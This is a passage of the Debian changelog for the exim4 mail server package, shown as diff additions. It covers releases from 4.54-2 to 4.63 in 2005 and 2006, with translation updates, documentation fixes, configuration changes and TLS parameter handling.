+ * exim4-base.postinst: Redirect command -v's stdout to /dev/null
+ * update-exim4.conf: add lots of quoting to increase robustness.
+ Thanks to Paul Slootman. Closes: #403605
+ * Debconf templates translation updates and new translations:
+ - Esperanto
+ - Norwegian Nynorsk (HÃ¥vard Korsvoll).
+ - Punjabi (A.S. Alam).
+ - Malayalam (Praveen A). Closes: #402541
+ - Italian (typos corrected by Davide Viti). Closes: #403199
+ - see Last-Translator for rewards)
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Wed, 20 Dec 2006 14:23:57 +0100
+
+exim4 (4.63-11) unstable; urgency=low
+
+ * Remove patch to spec.txt for pkg-exim4-users, it is included
+ upstream. No idea why this patch even applied correctly.
+ * README.Debian:
+ * Fix wrong pidfile name
+ * Move FAQ to the Wiki
+ * Adapt "Using completely different configuration scheme" to also
+ mention /etc/exim4/exim4.conf.
+ * Move titles in the same line as the section statement, making it
+ easier to work with a code folding editor.
+ * exim4_files(5): fix recommended permissions for passwd[.client].
+ Thanks to Georg Neis. Closes: #398365
+ * Remove temporary gnutls parameters file if neither certtool nor
+ openssl are installed. Closes: #399023
+ * Fix path to gnutls-params file in exim4-base.postinst.
+ Thanks to J.L. Fernandez. Closes: #400794
+ * Translation updates (see Last-Translator for rewards).
+ - Punjabi (not yet complete)
+ - Hebrew (not yet complete)
+ - Portuguese. Closes: #399242
+ * merge changes from experimental:
+ * enable sqlite for exim4-daemon-heavy.
+ Thanks to Adrian Phillips. Closes: #398718
+ * Add Build-Dependency on libsqlite3-dev.
+ Thanks to Frank Lichtenheld. Closes: #398880
+ * Build-Depends
+ * add po-debconf
+ * add bzip2
+ * debian/rules:
+ * run debconf-updatepo in clean targets
+ * adapt build system to allow direct building from an upstream tarball
+ * needs tardy at build time on sarge, but not on newer distributions
+ * use dpatch-run for patches instead of locally programmed handling
+ * add lintian overrides:
+ * partially-translated-question exim4/dc_eximconfig_configtype for
+ cy, eo, et, he, mk, nn, pa, pl, sl, tl, uk - translators, move!
+ * possible-debconf-note-abuse config:15 */drec
+ * remove gratuitous exim4-daemon-heavy.postinst
+ (it is symlinked at build time)
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Fri, 1 Dec 2006 11:16:34 +0000
+
+exim4 (4.63-10) unstable; urgency=low
+
+ * The "praise Osamu Aoki" release.
+ * Translation updates (see Last-Translator for rewards).
+ - Dutch. Closes: #396725
+ * README.Debian:
+ * Add information about how to obtain reportbug information for
+ mailing list questions.
+ * Point people directly to passwd.client man page instead of the
+ file itself. Thanks to Osamu Aoki.
+ * Re-work the /etc/aliases section.
+ * Improve smarthost description in update-exim4.conf(8) man page.
+ Give examples. Thanks to Osamu Aoki.
+ * include documentation for /etc/aliases in exim4-config_files(5)
+ man page. Symlink to etc-aliases(5).
+ Thanks to Osamu Aoki. Closes: #397042
+ * Change symlink of exim4-config_files(5) to email-addresses(5) to
+ point to etc-email-addresses(5) for consistency.
+ * Use nwildlsearch to index into passwd.client to allow wildcards
+ here. Thanks to Osamu Aoki. This is another pain relief for #244724.
+ * use printf instead of echo in daily cron job.
+ Thanks to Ming Hua. Closes: #395448
+ * Add de-uglyfication request to man pages.
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Sun, 5 Nov 2006 10:36:28 +0000
+
+exim4 (4.63-9) unstable; urgency=low
+
+ * Fix a spelling error in templates: s/adviseable/advisable
+ Thanks to Jens Seidel for spotting it
+ * Translation updates (see Last-Translator for rewards).
+ - Bosnian. Closes: #396592
+ - Bulgarian. Closes: #396558
+ - Greek.
+ - Lithuanian. Closes: #396478
+ - Norwegian Bokmål. Closes: #391768
+ - Wolof. Closes: #395944
+ * Have ue4c barf on more lookup types found in more ue4cc fields,
+ courtesy to regexp from hell.
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Thu, 2 Nov 2006 18:07:24 +0000
+
+exim4 (4.63-8) unstable; urgency=low
+
+ * Translation updates (see Last-Translator for rewards).
+ - Albanian. Closes: #394725
+ - Arabic
+ - Basque
+ - Catalan
+ - Chinese (Simplified)
+ - Chinese (Traditional)
+ - Croatian
+ - Czech
+ - Dzongkha
+ - Finnish. Closes: #393644
+ - German
+ - Italian.
+ - Korean. Closes: #394235
+ - Nepali
+ - Norwegian Bokmal. Closes: #394270
+ - Portuguese
+ - Romanian
+ - Russian.
+ - Slovak
+ - Turkish
+ * README.Debian
+ * remove wiki references from README.Debian
+ * remove dc_local_delivery FAQ entry since this is now debconfized
+ * Fix typos, replace "documented below" with a direct link.
+ Thanks to Olaf van der Spek. Closes: #394617
+ * exim4-config.templates
+ * Fixed typo: s/arbitrary/arbitrarily
+ * Extra space removed at the end of a line. Closes: #394569
+ * Change references to inexistent README.Debian.html and README.Debian,
+ both replaced by README.Debian.gz. Thanks to Eric Schanze for spotting
+ this.
+ * Various English use changes suggested by Jens Seidel. Closes: #394651
+ * update-exim4.conf: Fix wrong behavior if a debconf list answer already
+ starts with "<". Thanks to Vineet Kumar. Closes: #393843
+ * conf.d/main/02_exim4-config_options: Use upstream's wording for
+ rfc1413 configuration, fix wrongly commented timeout value.
+ Thanks to Andre Bischoff on IRC.
+ * conf.d/transports/35_exim4-config_address_directory: Add
+ delivery_date_add, streamline other options' syntax.
+ Thanks to Dominic Hargreaves. Closes: #393930
+ * Remove commented out inetd entries from maintainer scripts, we are
+ not going to support inetd again.
+ * Zap gnutls-params in postinst if old binary format is detected.
+ Exim cannot read that file any more since RSA_EXPORT has been removed.
+ Always kill the file if file(1) is not present, recommend file(1).
+ Thanks to John Goerzen. Closes: #394598
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Mon, 23 Oct 2006 20:49:46 +0200
+
+exim4 (4.63-7) unstable; urgency=low
+
+ * Translation updates (see Last-Translator for rewards). Closes: #391768
+ - Brazilian Portuguese
+ - Danish. Closes: #392548
+ - Galician
+ - Hungarian
+ - Indonesian
+ - Japanese
+ - Spanish
+ - Thai
+ * Do not ask for local delivery method if custom entry (i.e. neither
+ maildir_home nor mail_spool) has bin set in update-exim4.conf and continue
+ to use this custom setting instead of overwriting it with mail_spool. (am)
+ Closes: #392993
+ * Special-case "dsearch;" constructs in dc_other_hostnames, no
+ longer supported. Adapt documentation accordingly.
+ * Adapt docs and man pages so that they do not longer suggest that
+ answers to debconf questions might use all exim
+ host/address/domain list features.
+ * fix ue4c to handle more than one smarthost correctly.
+ * Handle spaces, commas and semicolons as separator in root alias
+ handling.
+ * Wolof translation contained a comma in the translation of a element of the
+ Choices list for the dc_eximconfig_configtype question, replace it with a
+ semicolon. (am)
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Sat, 14 Oct 2006 23:45:17 +0000
+
+exim4 (4.63-6) unstable; urgency=low
+
+ * s/ipv6/IPv6 in templates (general writing consistency)
+ * Translation updates (see Last-Translator for rewards)
+ - Arabic (partial)
+ - Basque (partial)
+ - Croatian (partial)
+ - Greek (partial)
+ - Khmer
+ - Spanish (partial)
+ - Swedish
+ - Vietnamese. Closes: #392772
+ * README.Debian:
+ * Fine tuning of SMTP AUTH and TLS docs after user feedback
+ received over $BEVERAGE irl.
+ * Adapt configuration chapter to re-worded templates.
+ * Fix exim4_files man page names to not pollute name space.
+ * Clarify exim4-config_files man page to reflect that the host name
+ given there does not actually influence the routing decision.
+ Thanks to Sven Luther.
+ * Fix list separator handling for dc_other_hostnames in ue4c.
+ Thanks to Alexandre Fayolle. Closes: #392831
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Sat, 14 Oct 2006 07:40:05 +0000
+
+exim4 (4.63-5) unstable; urgency=low
+
+ * define MAIN_LOG_SELECTOR conditionally.
+ Thanks to Aaron M. Ucko. Closes: #390758
+ * Fix typos in man pages. Thanks to A. Costa.
+ Closes: #390705, #390706, #390707
+ * Address #373786:
+ * cron.daily: Try UID change with start-stop-daemon, and fall
+ back to su if that fails. This should enhance compatibility
+ with libpam-tmpdir.
+ * exim4_refresh_gnutls-params: don't drop privileges any more,
+ generate gnutls-params as root and chown them later.
+ * Thanks to Piotr Kaczuba and Tollef Fog Heen. Closes: #373786
+ * Add debugging facility to exim4_refresh_gnutls-params
+ * Debconf-Rework
+ * update-exim4.conf: expand UE4CC_semicolon list to allow
+ semicolons in all debconf questions as list separators for consistency.
+ * Do template changes suggested by Christian Perrier. Closes: #260141
+ * new mail name template thanks to Jari Aalto. Closes: #275953
+ * relay templates changes thanks to Ross Boylan. Closes: #342061
+ * remove conftype exim3manual. Closes: #355265
+ * use semicolon as list separator in debconf templates. ue4.conf
+ handles both semicolons and colons since #360162. Thanks to Adam
+ Borowski. Closes: #365428
+ * Make existing templates style-compatible regarding developer's
+ reference.
+ * Lower priorities so that the Installer can do its work without
+ exim4 asking questions. Closes: #379485
+ * Modify templates saying that smarthost::port is a valid
+ notation. Modify transport/30_exim4-config_remote_smtp_smarthost to
+ take only the first part of DCsmarthost (up to first colon) as host
+ name for hosts_try_auth. This allows debconf configuration of a
+ different port to connect to the smarthost. Closes: #251949
+ * Add debconf template to packages telling people to dpkg-reconfigure
+ exim4-config.
+ * Allow choosing between delivery to /var/mail or ~/Maildir with debconf.
+ (am) Closes: #250980, #274560, #289959
+ * Translation updates (see Last-Translator for rewards)
+ - Brazilian Portuguese
+ - Danish
+ - Galician
+ - Slovak
+ - Thai
+ - Turkish
+ - Romanian
+ - Japanese
+ - French
+ * Patch by Florian Weimer which disables RSA_EXPORT support which
+ should eliminate the "exim blocking on entropy starvation" issue.
+ * update-exim4.conf: Take only the first word from /etc/mailname as
+ system mail name. Thanks to Mike Mestnik. Closes: #215319.
+ * init script: log_failure_message alert if non-zero paniclog is
+ found. Thanks to Andreas Barth.
+ * README.Debian: document cron job, including paniclog monitoring.
+ Thanks to Stephen Gran.
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Tue, 10 Oct 2006 16:50:27 +0000
+
+exim4 (4.63-4) unstable; urgency=low
+
+ * Make update-exim4.conf man page also update-exim4.conf.conf man page.
+ * Fix SPF error message when $sender_address_domain is undefined (i.e. sender
+ is <>). (rm)
+ * Change debian/rules documentation for daemon-custom build.
+ Thanks to Guido Hennecke. Closes: #386135
+ * Rotate paniclog by size, not daily, to avoid rotating away
+ messages after complaining from the daily cron job.
+ Thanks to Dirk Meyer.
+ * Update Slovak translation.
+ Thanks to Peter Mann.
+ * Add Wolof translation.
+ Thanks to M Mamoune Mbacke
+ * Add a paragraph explaning the gnutls-bin suggestion to ease DH
+ parameter generation in case of entropy starvation.
+ Thanks to Andi Barth and Florian Weimer.
+ * Since a new version of sysvinit upload will move /var/run/ to a tmpfs
+ directories under /var/run/ and their permissions are not persistent
+ anymore but will be lost after a reboot. - Re-generate /var/run/exim4 in
+ the init script to compensate for this. (am) (closes: #387699)
+ * update-exim4.conf: Exit with an error if dc_use_split_config is neither
+ true nor false instead of replacing the configuration with an empty one.
+ (am) Closes: #386554
+ * More intelligence for exim4_refresh_gnutls-params:
+ * If certtool (from gnutls-bin) is unavailable but openssl is installed
+ use openssl to re-generate DH params. (am)
+ * Change exim4-base Suggests on gnutls-bin to gnutls-bin|openssl. (am)
+ * Move invocation and background mechanism to exim4_refresh_gnutls-params.
+ Script can now be called any time from the command line or any
+ other script.
+ * Only regenerate dh params if tls_advertise_hosts is non empty.
+ According to Florian Weimer, DH params are only needed for
+ incoming TLS connections.
+ * Thanks, Yuri D'Elia. This addresses #387448
+ * Improve entropy and gnutls-params docs.
+ * cron-daily:
+ * Invoke exim4_refresh_gnutls-params unconditionally.
+ * Send out e-mail alert if gnutls-params is older than 14 days.
+ * rename config varables to E4BCD_, source /etc/default/exim4
+ * introduce a E4BCD_PANICLOG_NOISE variable containing a regexp.
+ Paniclog is negatively filtered against that regexp and paniclog
+ warning is only sent out if unfiltered lines remain. This is to allow
+ work around http://www.exim.org/bugzilla/show_bug.cgi?id=92
+ * Prepare hosts_avoid_tls statement on SMTP transports
+ * Macroize log_selector, remove +tls_cipher from examples (it is on
+ by default) and always set tls_peerdn (we use TLS by default for
+ outgoing connections). Make it easier to enable debug logging.
+ * Mention in the comments of the default RCPT ACL that verification
+ is likely to have false negatives in smarthost/satellite setups. This
+ is the easiest way to fix #388460; the "real" fix would be very very
+ complicated and thus unsuitable for the default configuration.
+ Closes: #388460
+ * README.Debian:
+ * Re-Work "misc" section to contain subsection. Fix minor
+ formatting issues.
+ * Add a section about SELinux to the misc subsection saying that
+ we currently do not have an SELinux policy but would appreciate
+ people helping here. This is already bug #387327 and #390179.
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Sun, 1 Oct 2006 14:37:53 +0000
+
+exim4 (4.63-3) unstable; urgency=low
+
+ * Have exim4-config conflict with exim4-daemon-* << 4.63.
+ Thanks to Yannick Roehlly. Closes: #383420, #384058
+ * Tweak NEWS.Debian formatting. Remove asterisks and make sure that
+ contents lines start with four spaces.
+ * exim4-config.NEWS: A pair of minor fixes in SPF entry. (rm) Closes: #383708
+ * Apply upstream fix allowing header names with an odd number of
+ characters in add_headers in filters.
+ Thanks to Tony Finch. Closes: #384015
+ * Add documentation for inaccessible home directories.
+ Thanks to Juha Jäykkä. Closes: #383469
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Wed, 23 Aug 2006 17:16:38 +0000
+
+exim4 (4.63-2) unstable; urgency=low
+
+ * upload to unstable
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Tue, 15 Aug 2006 20:35:55 +0000
+
+exim4 (4.63-1) experimental; urgency=low
+
+ * New upstream version 4.63
+ + Change PostgreSQL charset handling. Closes: #369351
+ + Recognize SMTP codes at the start of "message" in ACLs and after
+ :fail: and :defer: in a redirect router. Add forbid_smtp_code to
+ suppress the latter. forbid_smtp_code is enabled in Debian's
+ default config. Closes: #378131
+ * Adapt configuration to current upstream
+ + re-work RCPT ACL. Closes: #379155
+ + add new comments to default authenticators
+ + use $auth[123] instead of $[123] which are now deprecated
+ + forbid_smtp_code on userforward router
+ * Add missing dependency on lsb-base (>= 3.0-3), needed for the new
+ init-script shipped in exim4-base. (am)
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Tue, 1 Aug 2006 10:47:44 +0000
+
+exim4 (4.62-5) unstable; urgency=low
+
+ * Fix typo in exim4-base daily cron job.
+ Thanks to Salvatore Bonaccorso. Closes: #381048
+ * Fix language issues in package descriptions
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Tue, 8 Aug 2006 15:02:14 +0200
+
+exim4 (4.62-4) unstable; urgency=low
+
+ * Add missing dependency on lsb-base (>= 3.0-3), needed for the new
+ init-script shipped in exim4-base. (am)
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Tue, 1 Aug 2006 11:03:57 +0000
+
+exim4 (4.62-3) unstable; urgency=low
+
+ * remove pkg-exim4-user mail address from README.Debian, mention
+ that one needs to be subscribed to post.
+ Thanks to Ross Boylan. Closes: #368242
+ * re-word -o description in update-exim4.conf(8) man page.
+ Thanks to Ross Boylan.
+ * Flag update-exim4.conf(8) man page for a re-work in its BUGS
+ section.
+ * Give a - hopefully - better explanation of the mail name thingy in
+ README.Debian.
+ * Fix occurrences of default_acl file in documentation. Make part of
+ README.Debian less confusing.
+ Thanks to Ross Boylan. Closes: #376459
+ * When installing via apt using dpkg-preconfigure the value of
+ dc_hide_mailname was overwritten during the second run of the debconf
+ script (invoked by postinst), before the value was stored in the
+ configuration file. Fix this. (am) Closes: #376460
+ * Make spamassassin example in 40_exim4_config_check_data actually
+ work, add link to documentation for "really suiteable" configuration
+ examples. Thanks, again, to Ross Boylan.
+ * remove left-over "and a bunch" sentence from exim4-config_files.5
+ * Add a symlink from /etc/email-addresses to /etc/exim4/email-addresses
+ * Fix bad parsing of CHECK_RCPT_DOMAIN_DNSBLS.
+ Thanks to Robert Millan. Closes: #378581
+ * Note in README.Debian that other parts of the Debian system might
+ give outdated and/or wrong advice. See #378684, #378685.
+ * SPF support: (rm) Closes: #290464
+ * Add (disabled) template to check SPF in 30_exim4-config_check_rcpt.
+ * Add libmail-spf-query-perl (>= 1.999-1) to Suggests.
+ * Rewrite Q/A about SPF from README.Debian.
+ * Add a small note to exim4-config.NEWS.
+ * Add conf.d/acl/30_exim4-config_check_mail to reject mail without HELO/EHLO.
+ (rm) Closes: #378935
+ * Add LSBized init script. Thanks to Carlos Villegas. Closes: #376953
+ * re-order RCPT ACL statements to resemble Upstreams default config
+ a little more. This used to be the case in the beginning, but was
+ changed eventually, and I didn't find any rationale for our deviation.
+ Thus, we change back to upstream's default to see which things might
+ break.
+ * remove cron.d from exim4-base dirs - we do not have a cron.d job
+ any more for years.
+ * Re-work daily cron job:
+ * Make statistics configurable with a variable
+ * Comment that the log handling code is fragile and depending on
+ log rotation strategy
+ * Add code to generate warnings if paniclog non-empty.
+ Thanks to Andrew Ferrier. Closes: #379898
+ * Build -dbg packages.
+ * Updated vi (vietnamese) translation.
+ Thanks to Clytie Siddall. (am) Closes: #380357
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Mon, 31 Jul 2006 06:10:51 +0000
+
+exim4 (4.62-2) unstable; urgency=low
+
+ * Move explanation about using ";" as separator in lists from debian/NEWS to
+ debian/exim4-config.NEWS. (The former ends up as
+ /usr/share/doc/eximon4/NEWS.Debian.gz.) Also fix version-number of
+ entry. (am)
+ * have ue4.conf --verbose print split or non-split config.
+ Thanks to Florian Laws. (mh)
+ * Mention http://pkg-exim4.alioth.debian.org/ in package description.
+ Thanks to Florian Laws. (mh)
+ * Mention in package description that README.Debian has information
+ about how to configure the Debian packages.
+ * /etc/init.d/exim4: parse extended inetd.conf syntax from
+ openbsd-inetd. (mh) Closes: #365928
+ * New th (thai) translation.
+ Thanks to Theppitak Karoonboonyanan. (mh) Closes: #367351
+ * New dz (Dzongkha) translation.
+ Thanks to Pema Geyleg. (am) Closes: #368593
+ * New ne (Nepali) translation.
+ Thanks to Paras pradhan. (am) Closes: #369526
+ * New eo (Esperanto) translation.
+ Thanks to Serge Leblanc. (am) Closes: #369241
+ * Updated hu (hungarian) translation.
+ Thanks to Attila Szervac. (am) Closes: #374616
+ * Make documentation of CHECK_RCPT_LOCAL_LOCALPARTS and
+ CHECK_RCPT_REMOTE_LOCALPARTS more verbose and concentrate it in the
+ ACL file. Thanks to Klaus Muth. (mh) Closes: #366491
+ * README.Debian.xml (mh)
+ * Add new section documenting where to find documentation.
+ * Move misplaced sentence.
+ * Fix spelling errors in README.Debian.
+ Thanks to Salvatore Bonaccorso. Closes: #366003
+ Thanks to Ross Boylan. Closes: #374216
+ * remove "you can stop reading now" sentence.
+ Thanks to David Lawyer. Closes: #370790
+ * Mention Debian-specific man pages
+ * Give instructions about how to use apropos to find out about man
+ pages.
+ * Documentation changes inspired by Ross Boylan. Closes: #369126
+ * Add exim4-config_files(5) man page to aid as repository for file
+ explanations.
+ * /etc/email-addresses
+ * /etc/exim4/local_host_blacklist
+ * /etc/exim4/local_host_whitelist
+ * /etc/exim4/local_sender_blacklist
+ * /etc/exim4/local_sender_whitelist
+ * /etc/exim4/local_sender_callout
+ * /etc/exim4/local_rcpt_callout
+ * /etc/exim4/local_domain_dnsbl_whitelist
+ * /etc/exim4/hubbed_hosts
+ * /etc/exim4/passwd
+ * /etc/exim4/passwd.client
+ * /etc/exim4/exim.crt
+ * /etc/exim4/exim.key
+ If you find any files that might be missing in the man page,
+ please report a bug.
+ * mention exim4-config_files(5) in update-exim4.conf.8
+ * Explicitly mention README.Debian in exim man page.
+ * Remove /usr/share/doc/exim4-config/default_acl, move contents to
+ README.Debian and exim4-config_files.
+ * remove empty /usr/share/doc/exim4-config/examples.
+ * clarify docs in RCPT ACL.
+ * streamline docs:
+ * hubbed_hosts router.
+ * passwd.client.
+ * server side authentication examples
+ * Standard-Version: 3.7.2, no changes necessary.
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Sat, 24 Jun 2006 08:56:19 +0000
+
+exim4 (4.62-1) unstable; urgency=low
+
+ * New upstream version
+ * remove !acl patch, bug is fixed upstream
+ * Some minor changes to README.Debian
+ * Downgrade priority of exim4/dc_eximconfig_configtype, exim4/no_config and
+ exim4/exim3_upgrade from critical to high, as there is a sane default.
+ Closes: #342077
+ * Allow single quotes in recipient mail addresses. Closes: #346222
+ * Update debian/mtalist to conflict with hula-mta. (mh)
+ * Move back man-pages (actually they are symlinks) related to the
+ mail-transport-agent virtual package from exim4-base to the daemon
+ packages. Other MTA packages also include these manpages and would
+ otherwise need to explicitly conflict with exim4-base. Add "Replaces:
+ exim4-base (<= 4.61-1)" to the daemon packages. Thanks to Justin Pryzby.
+ Closes: #362852 (am)
+ * Update km (Khmer) translation.
+ Thanks to Khoem Sokhem. (mh) Closes: #363672, #363671
+ * Update pa (Punjabi) translation.
+ Thanks to A S Alam. (am) Closes: #364268
+ * replace backticks with $() construct in ue4.conf. (mh)
+ * Allow ";" as separator in dc_local_interfaces and dc_relay_nets.
+ If a semicolon is found, "<;" is prepended to allow a semicolon as
+ separator. Thanks to Adam Borowski. (mh) Closes: #360162
+ * Link against libdb4.3 instead of 4.2. (am). Closes: #365467
+ * Standards-Version: 3.7.0, no changes required. (am)
+ * README.Debian: Add link to "how to use a completely different
+ configuration scheme" to the beginning of the chapter about Debian's
+ configuration to provide an easy way out for experienced exim people.
+ (mh)
+ * Fix grammar error in README.Debian. (Thanks, Ross Boylan) Closes: #365546
+ * Whennever changing major Berkeley DB versions we zap the exim hint
+ databases in exim4-base postinst. Change the code to also delete
+ __db.retry, __db.misc, __db.callout and __db.wait* (which afaik are
+ Berkeley DB internal files). If these are somehow broken strange errors
+ occur, e.g. #360696. As we are deleting the whole db, deleting these files
+ seems to be a good idea. (am)
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Tue, 2 May 2006 11:47:58 +0000
+
+exim4 (4.61-1) unstable; urgency=low
+
+ * New upstream version
+ - Temporary files for content scanning subdirectory are now also mode 640
+ instead of 666. Closes: #280282
+ - If group was specified without a user on a router, and no group
+ or user was specified on a transport, the group from the router
+ was ignored. Closes: #343074
+ - .include statements now require an absolute path. Closes: #268083
+ * Apply upstream patch allowing !acl constructs
+ (http://www.exim.org/mail-archives/exim-cvs/2006-April/msg00008.html)
+ * Rename the Punjabi translation file name from pa_IN to pa
+ to fit a decision taken in -i18n
+ * README.Debian:
+ * mention that relay_nets does allow relaying without authentication.
+ * minor formatting fixes
+ * Add Khmer debconf translation (Thanks, Kakada Hok) (bubulle)
+ Closes: #359668
+ * Add linda overrides for libs-not-in-depends (see #357727)
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Tue, 4 Apr 2006 19:50:39 +0000
+
+exim4 (4.60-5) unstable; urgency=low
+
+ * re-introduce inst_aliases, patch src/install_exim to prevent path
+ to inst_aliases to be put into example config file. (mh)
+ * Fix typo in README.Debian.xml, thanks to Frank S. Thomas. (mh)
+ * Fix Copy&Waste error in README.Debian.xml.
+ Thanks to Olaf van der Spek. (mh) Closes: #356354
+ * Added partial Punjabi debconf translation,
+ thanks to Amanpreet Singh Alam. (cp) Closes: #349644
+ * Fix wrong example in conf.d/acl/20_exim4-config_whitelist_local_deny.
+ Thanks to Kaare Hviid for pointing this out on IRC. (mh)
+ * Add documentation about Debconf templates to README.Debian to make
+ yath happy. (mh)
+ * exim4-refresh_gnutls-params: Use prefix for tempfile to make it
+ easier recognizeable. (mh)
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Mon, 13 Mar 2006 15:30:07 +0000
+
+exim4 (4.60-4) unstable; urgency=low
+
+ * add rationale to README.Debian explaining why using system
+ passwords for SMTP AUTH is a bad idea.
+ * streamline configuration to decrease differences to upstream default
+ example, and to adopt new things that were added since we last
+ looked there.
+ * Do not set inst_aliases for installation, this only affects
+ example.conf anyway.
+ * fail build if upstream's example configuration has changed.
+ * fix NEWS confusion. Thanks to Andreas for spotting this.
+ * exim4-base.exim4.init: invoke exim4 daemon with the environment
+ cleaned to avoid language confusion.
+ * document tls on connect in README.Debian.
+ * use adduser --quiet instead of > /dev/null in *.postinst.
+ * Add require_files directive to userforward router to avoid errors
+ when mailing uucp@hostname.
+ * Add comment about setting up TLS in conf.d/auth/30_exim4-config_examples
+ to keep people from blindly allowing cleartext auth.
+ * Replace 37_dns_disable_additional_section patch with
+ 37_upstream_patch_342619, which is the nearly identical patch from
+ upstream CVS, approved by Philip. (mh) Closes: #342619
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Wed, 22 Feb 2006 10:30:16 +0000
+
+exim4 (4.60-3) unstable; urgency=low
+
+ * Have exim4-base replace exim4-daemon-light and -heavy. This is a
+ needed corollary to the movement of the man pages to -base. Let's
+ hope that this change doesn't introduce too much breakage. Thanks
+ to Hamish Moffatt for making me take a closer look at policy.
+ (mh) Closes: #347908, #348067
+ * Introduce Makefile variable to build with OpenSSL instead of
+ GnuTLS. This is a last minute maneuver to help sites suffering from
+ the GnuTLS entropy issue (#338319, #343085) whose only other chance is
+ disabling TLS completely. Please note that building exim4-daemon-heavy
+ with OpenSSL is a GPL violation since OpenSSL's license clashes with
+ the MySQL client library, which is GPL licensed without OpenSSL
+ exception. (mh)
+ * re-pack configuration diffs. (mh) Closes: #331698
+ * Fix wrong variable substitution in lt (Lithuanian) debconf
+ translation. Thanks to Davide Viti and Gintautas Miliauskas. (mh)
+ Closes: #342242
+ * Fix typo in exim.8 man page. Thanks to A Costa. (mh) Closes: #338579
+ * Honor dpkg-statoverride entries for run-time data in /var.
+ Thanks to Peter Mottram. (mh) Closes: #269448
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Sun, 15 Jan 2006 00:23:47 +0000
+
+exim4 (4.60-2) unstable; urgency=low
+
+ * Add, but not enable, 37_dns_disable_additional_section.dpatch,
+ which might be a possible fix for #342619
+ * conf.d/auth/30_exim4-config_examples: add hint to adapt public_name
+ string in support_broken_outlook_express_4_server authenticator if
+ other authencators than LOGIN and PLAIN are offered.
+ * Fix missing special characters in some debconf translations.
+ Thanks to Davide Viti. (mh) Closes: #341442
+ * Fix broken README reference in system_aliases router docs. (mh)
+ * remove references to alias files from the address_pipe transport. (mh)
+ * remove "Some-State" default from exim-gencert. (mh)
+ * Clarify split vs unsplit config in README.Debian. Thanks to Faheem
+ Mitha and Ross Boylan for helping. (mh)
+ * Update Build-Depends to libmysqlclient15-dev. (mh) Closes: #343767
+ * Fix wrong header in conf.d/routers/300_exim4-config_real_local.
+ Thanks to Ross Boylan for spotting this. (mh)
+ * Document headers_rewrite, return_path and dc_mailname_in_oh in
+ update-exim4.conf man page. (mh) Closes: #332520, #342233
+ * Re-Instate debian/patches/31_eximmanpage which was erroneously
+ removed in 4.60-1, we have local Debian patches in here. Thanks to
+ Ross Boylan for spotting this. (mh) Closes: #330967
+ * Mention relay permission from localhost in update-exim4.conf(8). (mh)
+ * Add more prose to relay control configuration. (mh)
+ * Update Greek debconf translation (Thanks, Kostas Papadimas) (am)
+ Closes: #344576
+ * Add cross-reference to README.Debian to better find macro docs.
+ Thanks to Shyamal Prasad. (mh) Closes: #329988
+ * Fix incorrect variable substitution in pt_BR debconf translation. (Thanks,
+ Felipe Augusto van de Wiel) (am) Closes: #345363
+ * [exim4-config.templates, po/*po] Replace reference to README.SMTP-AUTH
+ with one to its replacement README.Debian.html. (am) Closes: #344826
+ * Re-work long package descriptions. Move reference to README.Debian in
+ front, add hint to dpkg-reconfigure exim4-config, complete stub
+ sentences, remove non-referenced acronym MTA from the long
+ descriptions, move explanation what exim is to the very front.
+ * README.Debian: Add section about changing the configuration,
+ explain structure of conf.d and .conf.template, add hint that the SMTP
+ AUTH examples are documented.
+ * Introduce MAIN_TLS_CERTKEY to allow for single-file certificate/key
+ storage. Thanks to John Goerzen. (mh) Closes: #315126
+ * Mention entropy issue in README.Debian.
+ * Ship symlink to /usr/sbin/exim, see NEWS.Debian. (mh) Closes: 319316
+ * use dh_installinit -n instead of --noscripts to work around #347577. (mh)
+ * use dh_installinit --name instead of --init-script, rename init
+ script. (mh)
+ * move man pages from daemon packages to exim4-base, add lintian
+ and linda overrides to allow daemon packages not to contain man pages.
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Thu, 12 Jan 2006 12:36:50 +0000
+
+exim4 (4.60-1) unstable; urgency=low
+
+ * new upstream version 4.60
+ * assign value to UE4CC after command line processing. Only have
+ ue4c throw an error on not-existing UPEX4C_confd if split config is
+ seleted. Thanks to Ted Percival. (mh) Closes: #337229
+ * A number of man page fixes. Thanks to A Costa. (mh)
+ Closes: #338580, #338581, #338582, #338583, #338584
+ * Pull spool dir path from exim -bP instead of hard-coding it in
+ daily cron job and exim4_refresh_gnutls-params.
+ Thanks to Alex Hermann. (mh) Closes: 340002
+ * Corrected zh_CN translation by Ming Hua. (am) Closes: #338928
+ * Corrected pl translation by Jacek Politowski. (am) Closes: #339671
+ * Change README.Debian to clarify the exim as a client only uses
+ STARTTLS and not TLS on connect. Thanks to Rob Brenart and Marc
+ Sherman for pointing that out on exim-users.
+ * Clarify passwd.client format. Thanks to Osamu Aoki for providing a
+ good starting point in #244724, which is unfortunately not fixed just
+ now.
+ * remove patch 31_eximmanpage, fixes are included upstream.
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Mon, 28 Nov 2005 18:16:12 +0000
+
+exim4 (4.54-2) unstable; urgency=low
+
+ * debian/README.Debian* merged into one xml-file. Binary packages ship both
+ a html (generated by xsltproc) and plain-text version (lynx +
+ post processing) of the file. (Hilko Bengen)
+ * Switch to libmysqlclient14.
+ * Fix two typos in French debconf templates.
+ Thanks to Christian Perrier. (mh)
+ * Replace broken courier auth example with one that actually denies
+ access if a wrong password is given. Thanks to Peter Thomassen for
+ carrying that report from some colorful web forum to the people who
+ can fix it after like four months. (mh) Closes: #336979
